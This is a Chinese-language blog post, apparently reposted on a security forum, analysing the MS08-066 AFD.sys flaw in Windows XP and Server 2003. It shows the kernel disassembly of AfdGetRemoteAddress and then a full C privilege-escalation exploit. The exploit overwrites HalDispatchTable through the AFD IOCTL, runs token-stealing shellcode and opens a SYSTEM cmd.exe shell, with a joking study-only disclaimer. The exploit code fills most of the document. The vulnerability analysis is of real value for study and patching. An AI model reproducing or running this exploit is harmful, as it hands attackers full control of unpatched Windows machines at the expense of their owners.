from http://hi.baidu.com/vessial
这个漏洞跟MS08-025类似,由于ProbeForWrite对0字节长度地址不作检测,造成可以写任何地址,
SWI已经对此作了比较详细的说明,大家可以看这儿http://blogs.technet.com/swi/archive/2008/10/14/ms08-066-how-to-correctly-validate-and-capture-user-mode-data.aspx
简单描述这个漏洞
PAGE:000174C3 ; int __stdcall AfdGetRemoteAddress(int, int, char, int, int, PVOID Address, SIZE_T Length, int)
PAGE:000174C3 _AfdGetRemoteAddress@32 proc near ; DATA XREF: .data:0001432C o
PAGE:000174C3
PAGE:000174C3 var_24 = dword ptr -24h
PAGE:000174C3 var_20 = dword ptr -20h
PAGE:000174C3 var_1C = dword ptr -1Ch
PAGE:000174C3 ms_exc = CPPEH_RECORD ptr -18h
PAGE:000174C3 arg_0 = dword ptr 8
PAGE:000174C3 arg_8 = byte ptr 10h
PAGE:000174C3 Address = dword ptr 1Ch
PAGE:000174C3 Length = dword ptr 20h
PAGE:000174C3 arg_1C = dword ptr 24h
PAGE:000174C3
PAGE:000174C3 ; FUNCTION CHUNK AT PAGE:00018F79 SIZE 0000000C BYTES
PAGE:000174C3
PAGE:000174C3 push 14h
PAGE:000174C5 push offset stru_137E0
PAGE:000174CA call __SEH_prolog
PAGE:000174CF mov eax, [ebp+arg_0]
PAGE:000174D2 mov ebx, [eax+0Ch]
PAGE:000174D5 mov [ebp+var_24], ebx
PAGE:000174D8 xor esi, esi
PAGE:000174DA mov eax, [ebp+arg_1C]
PAGE:000174DD mov [eax], esi
PAGE:000174DF push ebx
PAGE:000174E0 call _AfdLockEndpointContext@4 ; AfdLockEndpointContext(x)
PAGE:000174E5 mov [ebp+var_20], eax
PAGE:000174E8 cmp eax, esi
PAGE:000174EA jz short loc_1756A
PAGE:000174EC cmp word ptr [ebx], 0AFD2h
PAGE:000174F1 jnz short loc_1756A
PAGE:000174F3 cmp byte ptr [ebx+2], 3
PAGE:000174F7 jnz short loc_1756A
PAGE:000174F9 movzx eax, word ptr [ebx+5Ah]
PAGE:000174FD movzx ecx, word ptr [ebx+58h]
PAGE:00017501 add ecx, eax
PAGE:00017503 cmp ecx, [ebx+74h]
PAGE:00017506 ja short loc_1756A
PAGE:00017508 cmp [ebp+Length], eax/
PAGE:0001750B jb loc_18F79
PAGE:00017511 mov [ebp+Length], eax
PAGE:00017514 mov [ebp+var_1C], esi
PAGE:00017517
PAGE:00017517 loc_17517: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+1ABD j
PAGE:00017517 mov [ebp+ms_exc.disabled], esi
PAGE:0001751A cmp [ebp+arg_8], 0
PAGE:0001751E jz short loc_1752E
PAGE:00017520 push 1 ; Alignment //Length为Outbuffer的长度
PAGE:00017522 push [ebp+Length] ; Length //当这个长度为0时,对下面的地址不作检测
PAGE:00017525 push [ebp+Address] ; Address//因为这个地址可以我们手动构造,然后可写
PAGE:00017528 call ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
PAGE:0001752E
PAGE:0001752E loc_1752E: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5B j
PAGE:0001752E movzx ecx, word ptr [ebx+5Ah]
PAGE:00017532 movzx esi, word ptr [ebx+58h]
PAGE:00017536 add esi, [ebp+var_20]
PAGE:00017539 mov edi, [ebp+Address]
PAGE:0001753C mov eax, ecx
PAGE:0001753E shr ecx, 2
PAGE:00017541 rep movsd
PAGE:00017543 mov ecx, eax
PAGE:00017545 and ecx, 3
PAGE:00017548 rep movsb
PAGE:0001754A mov eax, [ebx+74h]
PAGE:0001754D mov ecx, [ebp+arg_1C]
PAGE:00017550 mov [ecx], eax
PAGE:00017552 or [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00017556
PAGE:00017556 loc_17556: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+AE j
PAGE:00017556 ; sub_18F9C+A j
PAGE:00017556 push [ebp+var_20]
PAGE:00017559 push ebx
PAGE:0001755A call _AfdUnlockEndpointContext@8 ; AfdUnlockEndpointContext(x,x)
PAGE:0001755F mov eax, [ebp+var_1C]
PAGE:00017562 call __SEH_epilog
exploit 代码如下
运行后会得到了一个cmd的system权限的shell
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////
//// Microsoft Windows AFD.sys MS08-066
//// Privilege Escalation Exploit XP & 2003
//// ---------------------------------------------
//// This code can only be used for personal study
//// and research purposes on odd days.
//// ---------------------------------------------
#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>
#pragma comment (lib, "ws2_32.lib")
#define AFD_GET_REMOTE_ADDRESS 0x1203f
typedef enum _KPROFILE_SOURCE { ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
PULONG Interval );
typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
int Callback_Overview()
{
printf("\n");
printf("================================================= \n");
printf(" Microsoft Windows AFD.sys (MS08-066) \n");
printf(" Privilege Escalation Exploit \n");
printf(" XP && 2003\n");
printf("================================================= \n");
printf(" Orginal Author Ruben Santamarta\n\n");
printf(" Modified by vessial\n\n");
printf("+ References:\n");
printf(" www.microsoft.com/technet/security/bulletin/ms08-oct.mspx\n");
printf(" www.reversemode.com\n\n");
printf(" hi.baidu.com/vessial\n\n");
return 1;
}
OSVERSIONINFOEX OsVersionInfo;
_declspec(naked) int ShellCode()
{
if ( OsVersionInfo.dwMinorVersion == 1 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // Find System Process
jne searchXp
mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token
ret 8
}
}
if ( OsVersionInfo.dwMinorVersion == 2 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
search2003:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2003
mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8
}
}
}
unsigned char trapline[]="\x68\x00\x00\x00\x00\xc3";
int main( )
{
PNTQUERYINTERVAL NtQueryIntervalProfile;
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
PNTALLOCATE NtAllocateVirtualMemory;
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
char inBuff[0x40];
char outBuff[0x40];
char szNtos[MAX_PATH] = {0};
DWORD junk ,i;
DWORD dwShellSize = 0x1000;
ULONG_PTR HalDispatchTable;
ULONG_PTR BaseNt = 0x804d8000; //kernel loaded address,so you can dynamic get this:),but i am a lazy guy
ULONG_PTR result;
LPVOID addr = (LPVOID)0x01000000;
HMODULE hKernel; STARTUPINFOA stStartup;
PROCESS_INFORMATION pi;
WSAStartup(0x0202,&ws);
system("cls");
Callback_Overview();
///////////////// Dynamic Stuff
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
}
hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
"HalDispatchTable");
if( !HalDispatchTable )
{
printf("[!!] HalDispatchTable not found\n");
return FALSE;
}
HalDispatchTable -= ( ULONG_PTR )hKernel;
HalDispatchTable += BaseNt;
printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n",HalDispatchTable);
printf("[+] NtQueryIntervalProfile ");
NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile");
if( !NtQueryIntervalProfile )
{
printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile );
printf("[+] NtAllocateVirtualMemory");
NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"),
"NtAllocateVirtualMemory");
if( !NtAllocateVirtualMemory )
{
printf("[!!] Unable to resolve NtAllocateVirtualMemory\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",NtAllocateVirtualMemory );
printf("\n[+] Allocating memory at [ 0x%p ]...\n",addr);
NtAllocateVirtualMemory( INVALID_HANDLE_VALUE,
&addr,
0,
&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if( (ULONG_PTR)addr != 0x01000000 )
{
printf("\n[!!] Error allocating memory\n");
return 0;
}
memset(addr, 0x90, dwShellSize);
memcpy((BYTE*)((BYTE*)addr+0x100), &trapline,sizeof(trapline)-1);
*(unsigned long*)((BYTE*)addr+0x101) = (ULONG_PTR)ShellCode;
memset(inBuff,0x90,sizeof(inBuff));
memset(outBuff,0x90,sizeof(outBuff)); peer.sin_family = AF_INET;
peer.sin_port = htons( 0x01bd );//connecting localhost 445 port,if this port not open ,you can netstat -an your host ,which one is listen
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); //
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
{
printf("\n[!!] You should not see this! \n\n");
exit(0);
}
printf("[+] Sending IOCTL...\n");
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)outBuff,0,
&junk,
NULL);
printf("\n");
printf("[+] Received Bytes from Peer Address:\n\t-> ");
for( i = 0; i < sizeof( peer ) ; i++)
{
printf(" %02X ",(unsigned char)outBuff[i]);
}
printf("\n\n");
printf("[+] Overwriting HalDispatchTable with those bytes...");
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)HalDispatchTable,0,
&junk,
NULL);
printf("\n\n");
printf("[+] Executing shellcode...");
NtQueryIntervalProfile(stProfile,&result);
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
printf("[ OK ]\n");
printf("[+] Done...\n\n");
return TRUE;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课